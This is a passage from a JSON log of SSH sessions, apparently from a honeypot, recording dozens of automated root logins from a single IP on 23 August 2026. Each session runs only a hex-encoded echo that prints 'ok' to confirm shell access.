  "transcript_bytes": 29
 },
 {
  "id": "e54fbc5b-3feb-4a11-9987-7f5fa738a515",
  "name": "western-fleeting-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42610,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:47.346518+00:00",
  "ended_at": "2026-08-23T09:23:49.305839+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3bc0ddb1-5410-45cb-b176-31430c3c7ddb",
  "name": "serene-hidden-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42608,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:45.100033+00:00",
  "ended_at": "2026-08-23T09:23:46.502371+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a7cb5dfd-99ae-4de7-b410-788af99767fc",
  "name": "snowy-canny-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42606,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:43.296996+00:00",
  "ended_at": "2026-08-23T09:23:44.409633+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f033444e-69b7-4578-91fd-6cfb1a80d533",
  "name": "granite-boreal-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42590,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:40.783507+00:00",
  "ended_at": "2026-08-23T09:23:42.568961+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fd6e0fbd-0519-4def-94b3-1f99c2868ae8",
  "name": "forlorn-quartz-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42576,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:39.007503+00:00",
  "ended_at": "2026-08-23T09:23:39.950035+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cb4e5513-5a62-4eca-93fd-72a7db2dee60",
  "name": "vigilant-gloomy-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33950,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:37.210504+00:00",
  "ended_at": "2026-08-23T09:23:38.189521+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f3594834-95fe-467d-aceb-2c508bc9aaf6",
  "name": "quiet-coastal-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33946,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:35.072841+00:00",
  "ended_at": "2026-08-23T09:23:36.394001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4565e801-ba05-47ac-85e3-74069e305c3e",
  "name": "brazen-crystal-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33930,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:32.874891+00:00",
  "ended_at": "2026-08-23T09:23:34.356064+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "85100707-344c-45e4-84aa-8f0309cace99",
  "name": "frank-lucid-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:30.766269+00:00",
  "ended_at": "2026-08-23T09:23:32.245421+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "588b4f30-c942-4f81-89fa-5c73baea9c9d",
  "name": "leafy-vivid-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33906,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:29.159386+00:00",
  "ended_at": "2026-08-23T09:23:30.071084+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1ff387e9-1d97-48cb-a8f3-c77a567e7341",
  "name": "plucky-salty-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60546,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:27.022066+00:00",
  "ended_at": "2026-08-23T09:23:28.402172+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3e4bc0db-9d8e-4d1c-937c-b842c9b13175",
  "name": "prickly-vivid-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60542,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:24.474594+00:00",
  "ended_at": "2026-08-23T09:23:26.369786+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4242f7da-d5db-491c-b47d-9d812a339ec4",
  "name": "drifting-bitter-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60528,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:22.525448+00:00",
  "ended_at": "2026-08-23T09:23:23.670821+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "43881ff1-8993-41c5-b2d0-3eb1b388c325",
  "name": "cunning-somber-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60522,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:20.146099+00:00",
  "ended_at": "2026-08-23T09:23:21.855362+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cdca652d-4583-4646-9ab1-ab4ed1eaf8f4",
  "name": "distant-deft-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44602,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:18.302012+00:00",
  "ended_at": "2026-08-23T09:23:19.348147+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "13bc6cfe-8020-4fd4-9b78-6790492c12d5",
  "name": "inland-gritty-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44590,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:15.618609+00:00",
  "ended_at": "2026-08-23T09:23:17.570651+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4db6079d-6aeb-4372-b297-af6c6529fae6",
  "name": "dappled-orderly-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44574,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:13.688017+00:00",
  "ended_at": "2026-08-23T09:23:14.995671+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cc50e508-5051-4ea1-9439-5a192a396767",
  "name": "obsidian-thrifty-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44562,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:11.475658+00:00",
  "ended_at": "2026-08-23T09:23:12.875819+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "28e37bad-222d-4f23-8f53-cc564b7ddc8e",
  "name": "lawful-kindly-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44546,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:09.004428+00:00",
  "ended_at": "2026-08-23T09:23:10.746239+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4acc994e-7590-4a83-b698-9614a98dd1ef",
  "name": "spirited-thawing-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53592,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:06.821869+00:00",
  "ended_at": "2026-08-23T09:23:08.371411+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "abca82a8-30db-4785-b267-88b3471daa12",
  "name": "tangled-rustic-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53578,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:05.057870+00:00",
  "ended_at": "2026-08-23T09:23:06.014775+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3f39bc1d-8d50-4233-b5b1-ec2b3f6bc723",
  "name": "humble-bashful-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53576,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:23:02.060794+00:00",
  "ended_at": "2026-08-23T09:23:04.303691+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1e6dc8a0-cae9-4501-bfac-48f9e454a440",
  "name": "glacial-zealous-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53572,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:59.227162+00:00",
  "ended_at": "2026-08-23T09:23:01.363787+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4c53600b-6c7a-430b-bd1a-860fed320ac2",
  "name": "wiry-keen-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52552,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:56.654226+00:00",
  "ended_at": "2026-08-23T09:22:58.526743+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "21f3ef4c-e7f5-41ba-8892-c435b57561d3",
  "name": "grumpy-lively-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52548,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:54.887397+00:00",
  "ended_at": "2026-08-23T09:22:55.944013+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "18becde4-7293-459c-9620-1e2f3ccf41f9",
  "name": "proud-dewy-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:52.228398+00:00",
  "ended_at": "2026-08-23T09:22:54.084076+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "598ba068-97d4-497a-b50b-bcb602f3e28b",
  "name": "frank-fabled-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52522,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:50.045343+00:00",
  "ended_at": "2026-08-23T09:22:51.455230+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c23e11f6-0ff0-40eb-a231-651aa98af0e7",
  "name": "gleaming-lofty-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55214,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:48.380573+00:00",
  "ended_at": "2026-08-23T09:22:49.302028+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7c207c71-c8a1-4fb8-94c8-ebf2467d7f52",
  "name": "lucid-solemn-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55208,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:45.519355+00:00",
  "ended_at": "2026-08-23T09:22:47.712332+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d67e61c2-6681-4bf3-8e62-030c9fa2dbe6",
  "name": "cobalt-restless-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55204,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:42.838915+00:00",
  "ended_at": "2026-08-23T09:22:44.731171+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "67602feb-8e71-4602-a31b-6e51598ab73a",
  "name": "prairie-jolly-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55188,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:40.851263+00:00",
  "ended_at": "2026-08-23T09:22:42.118755+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "138f321d-73de-427f-857d-37b457f040e9",
  "name": "cunning-daring-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52690,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:37.906417+00:00",
  "ended_at": "2026-08-23T09:22:40.161095+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2125e2c0-fbed-40e2-8ad0-8188e565e5cf",
  "name": "feathered-meadow-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52688,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:36.005306+00:00",
  "ended_at": "2026-08-23T09:22:37.135009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6e7e780a-e2f2-4a82-934a-27eeabd70f98",
  "name": "serene-alpine-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52682,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:34.279450+00:00",
  "ended_at": "2026-08-23T09:22:35.189952+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fa45d4dd-5d62-41e9-a028-c53032f09ffd",
  "name": "calm-hazel-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52670,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:32.552149+00:00",
  "ended_at": "2026-08-23T09:22:33.586281+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8daae87d-a747-42f1-9fca-4387a5eee709",
  "name": "cobalt-mellow-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52656,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:30.210277+00:00",
  "ended_at": "2026-08-23T09:22:31.829804+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "185656df-08d7-48bc-bd00-283864861b12",
  "name": "forlorn-chilly-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55418,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:27.262066+00:00",
  "ended_at": "2026-08-23T09:22:29.500835+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fbaf4a33-de27-4704-9d2d-002219aadb18",
  "name": "rapid-rustic-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55406,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:24.697877+00:00",
  "ended_at": "2026-08-23T09:22:26.576417+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4f284fd6-40c4-4c04-959d-15c020105825",
  "name": "drifting-daring-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55394,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:22.182253+00:00",
  "ended_at": "2026-08-23T09:22:23.875048+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "551ca67f-c86f-4b03-986d-9d5e6d362117",
  "name": "verdant-wistful-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55392,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:19.342990+00:00",
  "ended_at": "2026-08-23T09:22:21.462761+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9fc51760-05c0-46e4-ba99-71ba1b5a8e20",
  "name": "tranquil-curious-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47716,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:17.449395+00:00",
  "ended_at": "2026-08-23T09:22:18.530024+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "34c4c445-bf62-425f-87be-9f7eecdb7556",
  "name": "barren-dewy-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:15.632658+00:00",
  "ended_at": "2026-08-23T09:22:16.732344+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "68213db0-8f32-4794-bb27-4fb46175fde1",
  "name": "golden-spirited-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47694,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:12.810095+00:00",
  "ended_at": "2026-08-23T09:22:14.896832+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fb97d224-521e-4f4b-a9fc-ec8ff8eaaf45",
  "name": "fickle-curious-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47682,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:11.067592+00:00",
  "ended_at": "2026-08-23T09:22:12.021201+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b6d37b40-7b2d-4762-9d76-a51c417a352c",
  "name": "placid-balmy-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42682,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:08.852904+00:00",
  "ended_at": "2026-08-23T09:22:10.322829+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d5e4a4a7-0537-47f9-8b70-7c052e55e8dd",
  "name": "frosty-crisp-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42680,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:07.135068+00:00",
  "ended_at": "2026-08-23T09:22:08.018888+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "976a0e3a-520f-4204-b1f3-dad22ae26799",
  "name": "sooty-primal-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42678,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:05.424749+00:00",
  "ended_at": "2026-08-23T09:22:06.366118+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "341f5c93-c3dc-46e3-ad4d-eba88f0149d2",
  "name": "crystal-fierce-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42662,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:22:02.482469+00:00",
  "ended_at": "2026-08-23T09:22:04.581384+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "241ab3c2-5d5e-4d22-aa66-49118bb64b54",
  "name": "lively-granite-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42654,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:21:59.588420+00:00",
  "ended_at": "2026-08-23T09:22:01.708372+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "85e5cc20-8efa-4133-903f-9157d07b1117",
